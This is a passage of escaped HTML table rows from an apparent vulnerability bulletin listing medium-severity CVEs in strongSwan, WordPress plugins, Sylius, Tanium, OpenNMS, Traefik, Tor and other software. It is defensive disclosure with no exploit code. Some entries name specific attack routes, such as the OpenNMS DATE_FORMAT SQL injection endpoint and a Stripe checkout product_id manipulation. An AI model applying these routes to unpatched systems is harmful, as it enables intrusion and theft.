&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 5.0.2 through 6.0.7 has an Expired Pointer Dereference in PKCS#7 parsing in the openssl plugin.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78123&quot; target=&quot;_blank&quot;&gt;CVE-2026-78123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 4.1.10 through 6.0.7 allows a NULL pointer dereference in the eap-aka plugin.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78126&quot; target=&quot;_blank&quot;&gt;CVE-2026-78126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 4.6.2 through 6.0.7 has an infinite loop in PKCS#5 decryption.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78129&quot; target=&quot;_blank&quot;&gt;CVE-2026-78129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;libcharon in strongSwan 5.9.7 through 6.0.7 mishandles behavioral workflow in the IKEv2 state machine. Because&amp;nbsp;CREATE_CHILD_SA requests are mishandled, there can be an authentication bypass.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78135&quot; target=&quot;_blank&quot;&gt;CVE-2026-78135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stylemix--Checkout Custom Fields Builder for WooCommerce&lt;/td&gt;
&lt;td&gt;The Checkout Custom Fields Builder for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.5. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate an arbitrary attacker-hosted plugin, resulting in remote code execution on the server. The required nonce is emitted inline on all admin pages accessible to subscribers when WooCommerce is inactive, meaning any subscriber-level user can harvest it and trigger the exploit without any additional privileges.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19802&quot; target=&quot;_blank&quot;&gt;CVE-2026-19802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sunny_johal--Easy Google Fonts&lt;/td&gt;
&lt;td&gt;The Easy Google Fonts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the control_selectors meta field in all versions up to, and including, 2.0.4. This is due to the plugin registering the control_selectors meta field with show_in_rest enabled but without a sanitize_callback, and subsequently outputting this unsanitized data directly into &amp;lt;style&amp;gt; tags on the frontend without proper escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4657&quot; target=&quot;_blank&quot;&gt;CVE-2026-4657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SUSE--neuvector&lt;/td&gt;
&lt;td&gt;An Insertion of Sensitive Information into Log File vulnerability in SUSE neuvector manager exposes sensitive information into the manager container&#039;s log This issue affects neuvector: before 5.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-46808&quot; target=&quot;_blank&quot;&gt;CVE-2025-46808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sylius--Sylius&lt;/td&gt;
&lt;td&gt;Sylius is an Open Source eCommerce Framework on Symfony. Versions 2.0.0 through 2.0.17, 2.1.0 through 2.1.14, and 2.2.0 through 2.2.5 contain an improper workflow enforcement vulnerability in the cart `FormComponent`. When an order is completed while its cart page remains open, the stale LiveComponent does not detect the order&#039;s changed state and continues to permit cart actions, allowing an authenticated customer to modify or permanently delete an already completed order. Versions 2.0.18, 2.1.15, and 2.2.6 contain a patch. As a workaround, deployments can copy the patched `FormComponent` into the application&#039;s `src/` directory and override the `sylius_shop.twig.component.cart.form` service definition to use that class.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53637&quot; target=&quot;_blank&quot;&gt;CVE-2026-53637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sylius--Sylius&lt;/td&gt;
&lt;td&gt;Sylius is an Open Source eCommerce Framework on Symfony. Starting in version 2.0.0 and prior to version 2.0.18, 2.1.15, and 2.2.6, an authorization bypass vulnerability exists in the shop account API. The `PATCH /api/v2/shop/account/orders/{tokenValue}/payments/{paymentId}` endpoint, used by an authenticated shop customer to change the payment method of an order that has been placed but not yet paid (state `STATE_NEW`), does not validate that the chosen payment method is enabled for the order&#039;s channel. The equivalent checkout endpoint (`PATCH /api/v2/shop/orders/{tokenValue}/payments/{paymentId}`) correctly rejects out-of-channel payment methods with `HTTP 422`; the account endpoint silently accepts them and returns `HTTP 200`. An authenticated customer can therefore assign any globally enabled payment method to their own placed order, including methods that the store operator has explicitly excluded from that channel. The issue is fixed in versions: 2.0.18, 2.1.15, 2.2.6 and above. As a workaround, decorate the `Sylius\Bundle\ApiBundle\Changer\PaymentMethodChangerInterface` service in the application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53638&quot; target=&quot;_blank&quot;&gt;CVE-2026-53638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Systerel--S2OPC&lt;/td&gt;
&lt;td&gt;S2OPC through 1.7.3 contains a null pointer dereference in msg_subscription_publish_bs__alloc_notification_message_items() where a failed allocation for DataChangeNotification is overwritten by a successful allocation for EventNotificationList. Attackers can trigger heap allocation failures on sessions with both data-change and event notifications to cause the server process to terminate.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90782&quot; target=&quot;_blank&quot;&gt;CVE-2026-90782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87047&quot; target=&quot;_blank&quot;&gt;CVE-2026-87047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87073&quot; target=&quot;_blank&quot;&gt;CVE-2026-87073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87025&quot; target=&quot;_blank&quot;&gt;CVE-2026-87025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87033&quot; target=&quot;_blank&quot;&gt;CVE-2026-87033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87037&quot; target=&quot;_blank&quot;&gt;CVE-2026-87037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87048&quot; target=&quot;_blank&quot;&gt;CVE-2026-87048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87019&quot; target=&quot;_blank&quot;&gt;CVE-2026-87019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an information disclosure vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87035&quot; target=&quot;_blank&quot;&gt;CVE-2026-87035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87046&quot; target=&quot;_blank&quot;&gt;CVE-2026-87046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Tanium Data Service&lt;/td&gt;
&lt;td&gt;Tanium addressed a path traversal vulnerability in Tanium Data Service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14505&quot; target=&quot;_blank&quot;&gt;CVE-2026-14505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Tanium Server&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Tanium Server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14892&quot; target=&quot;_blank&quot;&gt;CVE-2026-14892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Tanium Server&lt;/td&gt;
&lt;td&gt;Tanium addressed an information disclosure vulnerability in Tanium Server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87032&quot; target=&quot;_blank&quot;&gt;CVE-2026-87032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;The nscd service in the GNU C Library 2.3.4 onwards may crash due to a stack overflow when a malicious DNS server returns too large a response for a DNS query, resulting in degraded DNS resolution for the system. Exploitation of this bug needs a system that has nscd enabled and using an untrusted DNS server for name resolution, with the compromised DNS server being capable of processing records large enough to result in a stack overflow in an nscd thread stack.&amp;nbsp; During experimentation, bind 9 was unable to handle large records, but that could change in future or with a different name server.&amp;nbsp; In typical installations, nscd is executed in an isolated context as its own user without a shell, due to which any compromise of that service is isolated. There is a remote possibility of nscd cache corruption if an attacker manages to get the stack pointer into a desired point in the heap, potentially resulting in other caches in nscd being overwritten with corrupt data through the stack overflow, until the buggy code path eventually results in a crash. Finally, a crash in nscd may result in performance degradation when resolving names, but it does not result in a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89092&quot; target=&quot;_blank&quot;&gt;CVE-2026-89092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The NetBSD Foundation--NetBSD&lt;/td&gt;
&lt;td&gt;NetBSD contains an information disclosure vulnerability in mm_open() within sys/dev/mm.c that allows unprivileged local users to obtain real kernel virtual addresses by opening world-accessible devices such as /dev/null or /dev/zero, which incorrectly receive the PK_KMEM process flag. Attackers can exploit this misconfigured flag to bypass the CANSEE_KPTR obfuscation mechanism and read kernel virtual addresses for sensitive kernel structures including struct proc, kauth_cred, filedesc, and vmspace via sysctl KERN_PROC queries.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57843&quot; target=&quot;_blank&quot;&gt;CVE-2026-57843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The OpenNMS Group--Meridian&lt;/td&gt;
&lt;td&gt;A SQL injection vulnerability exists in the JasperReports-based reporting feature of multiple versions of OpenNMS Meridian and Horizon. A low-privileged authenticated user (ROLE_USER) can run the shipped, default-enabled online reports &quot;Maintenance contracts expired&quot; (AssetManagementMaintExpired) and &quot;Maintenance contracts strategy&quot; (AssetManagementMaintStrategy) via the reporting REST API (POST /rest/reports/{id}) and supply a DATE_FORMAT parameter that the report templates substitute literally, un-escaped, into their SQL queries. This lets an attacker execute arbitrary SQL against the OpenNMS database and read arbitrary data, including database-stored secrets such as provisioning and notification credentials and SNMP community strings. The solution is to upgrade to Meridian 2024.3.13, 2025.0.10 and Horizon 36.0.4 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization&#039;s private networks and should not be directly accessible from the Internet.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89089&quot; target=&quot;_blank&quot;&gt;CVE-2026-89089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The OpenNMS Group--Meridian&lt;/td&gt;
&lt;td&gt;An XML External Entity (XXE) vulnerability exists in the XML collector of multiple versions of OpenNMS Meridian and Horizon. When OpenNMS collects XML from a source whose response is attacker-controlled (for example a compromised monitored host or an HTTP man-in-the-middle position), the collector&#039;s XML parser resolves external entities and external DTDs. This allows an attacker to read files accessible to the OpenNMS service account, including database credentials, and to induce out-of-band requests. The solution is to upgrade to Meridian 2024.3.13, 2025.0.10 and Horizon 36.0.4 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization&#039;s private networks and should not be directly accessible from the Internet.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19596&quot; target=&quot;_blank&quot;&gt;CVE-2026-19596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeisle--MPG Multiple Page Generator, Bulk Landing Pages &amp;amp; Programmatic SEO&lt;/td&gt;
&lt;td&gt;The MPG - Multiple Page Generator, Bulk Landing Pages &amp;amp; Programmatic SEO plugin for WordPress is vulnerable to generic SQL Injection via URL Path in all versions up to, and including, 4.2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is only exploitable when the [mpg_spintax] shortcode is rendered in site-wide content such as a footer or template part, as the vulnerable code path is only reached when the shortcode is active on the requested page.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85198&quot; target=&quot;_blank&quot;&gt;CVE-2026-85198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeisle--Otter Blocks Gutenberg Blocks, Page Builder for Gutenberg Editor &amp;amp; FSE&lt;/td&gt;
&lt;td&gt;The Otter Blocks - Gutenberg Blocks, Page Builder for Gutenberg Editor &amp;amp; FSE plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.1.7 via the &#039;watch_checkout&#039; function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to pay for a lower-cost product while obtaining entitlement for a premium product by manipulating the product_id parameter independently of the price_id parameter in the Stripe checkout URL.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4945&quot; target=&quot;_blank&quot;&gt;CVE-2026-4945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Themekraft--BuddyForms&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in BuddyForms &amp;lt;= 2.9.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81785&quot; target=&quot;_blank&quot;&gt;CVE-2026-81785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--WP Crowdfunding&lt;/td&gt;
&lt;td&gt;The WP Crowdfunding plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;first_name&#039; parameter in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. An administrator viewing any user&#039;s profile via the ?show_user_id= parameter will render the attacker&#039;s stored payload in the admin&#039;s browser session, enabling cross-privilege script execution.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19945&quot; target=&quot;_blank&quot;&gt;CVE-2026-19945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--WP Crowdfunding&lt;/td&gt;
&lt;td&gt;The WP Crowdfunding plugin for WordPress is vulnerable to generic SQL Injection via &#039;wpneo_reward&#039; Post Meta in all versions up to, and including, 2.2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is a second-order injection: a Shop Manager writes the malicious payload once via the WooCommerce REST products endpoint (POST/PUT /wp-json/wc/v3/products/{id}), and the injected query executes on every subsequent public page view that renders the campaign rewards sidebar.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19944&quot; target=&quot;_blank&quot;&gt;CVE-2026-19944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themifyme--Themify WooCommerce Product Filter&lt;/td&gt;
&lt;td&gt;The Themify - WooCommerce Product Filter plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via Query Parameter Name in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78172&quot; target=&quot;_blank&quot;&gt;CVE-2026-78172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;commonmark versions from 2.0.0 before 2.8.4 contain a denial of service vulnerability in XmlRenderer that emits depth-proportional indentation for every XML tag. Attackers can provide deeply nested Markdown or AST structures to cause quadratic memory consumption and output amplification, exhausting server resources.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86432&quot; target=&quot;_blank&quot;&gt;CVE-2026-86432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thimpress--LearnPress WordPress LMS Plugin for Create and Sell Online Courses&lt;/td&gt;
&lt;td&gt;The LearnPress - WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;layout_custom_css&#039; parameter in all versions up to, and including, 4.3.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12230&quot; target=&quot;_blank&quot;&gt;CVE-2026-12230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tile-ai--tilelang&lt;/td&gt;
&lt;td&gt;A weakness has been identified in tile-ai tilelang up to 0.1.14. This impacts the function KernelCache._load_kernel_from_disk of the file tilelang/cache/kernel_cache.py of the component Kernel Cache. Executing a manipulation can lead to deserialization. The attack may be performed from remote. This patch is called 11ec2397fe942e8b422d026af4a03d6e0a55ae6c. Applying a patch is advised to resolve this issue. Based on the release information, the fix has not been included in any official release yet.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87083&quot; target=&quot;_blank&quot;&gt;CVE-2026-87083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TooTallNate--Java-WebSocket&lt;/td&gt;
&lt;td&gt;A weakness has been identified in TooTallNate Java-WebSocket up to 1.6.1. The impacted element is the function processFrameContinuousAndNonFin of the file Draft_6455.java of the component Fragmentation Handler. Executing a manipulation can lead to allocation of resources. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90584&quot; target=&quot;_blank&quot;&gt;CVE-2026-90584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;torprject--Tor&lt;/td&gt;
&lt;td&gt;Tor before 0.4.9.12 interprets the CC_RESPONSE extension even when CC_REQUEST was not sent, which allows remote attackers to cause a denial of service (crash) because of corrupted congestion-control state. This is TROVE-2026-032.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87724&quot; target=&quot;_blank&quot;&gt;CVE-2026-87724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;traefik--traefik&lt;/td&gt;
&lt;td&gt;Traefik is an open source HTTP reverse proxy and load balancer. From 2.8.2 until 2.11.56 and 3.7.12, HTTP/3 entrypoints do not apply entryPoints..transport.respondingTimeouts.readTimeout because the timeout is enforced on a TCP connection and the HTTP/3 server has no corresponding QUIC stream deadline. An unauthenticated client can use a slow request body, trickling data indefinitely while holding a request and an upstream connection open and exhausting backends with bounded connection pools. This issue is fixed in 2.11.56 and 3.7.12.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88012&quot; target=&quot;_blank&quot;&gt;CVE-2026-88012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;traefik--traefik&lt;/td&gt;
&lt;td&gt;Traefik is an HTTP reverse proxy and load balancer. In versions &amp;gt;= v2.8.2 through &amp;lt;= v2.11.55 and &amp;gt;= v3.0.0 through &amp;lt;= v3.7.11, the entryPoints.&amp;lt;name&amp;gt;.transport.respondingTimeouts settings - notably readTimeout, which is enabled by default at 60s - are not applied to the HTTP/3 request path. readTimeout is enforced as a deadline on the underlying TCP connection, which cannot be applied to a QUIC stream, and Traefik&#039;s HTTP/3 server is constructed without any timeout. As a result, on entry points with HTTP/3 enabled, an unauthenticated remote client that trickles request body bytes can hold a request open indefinitely and, with it, one upstream connection per request, exhausting bounded backend connection pools and causing denial of service. The issue was introduced in v2.8.2 when a quic-go API change removed the embedded http.Server that carried these timeouts. Fixed in v2.11.56 and v3.7.12.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88878&quot; target=&quot;_blank&quot;&gt;CVE-2026-88878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;transmute-app--transmute&lt;/td&gt;
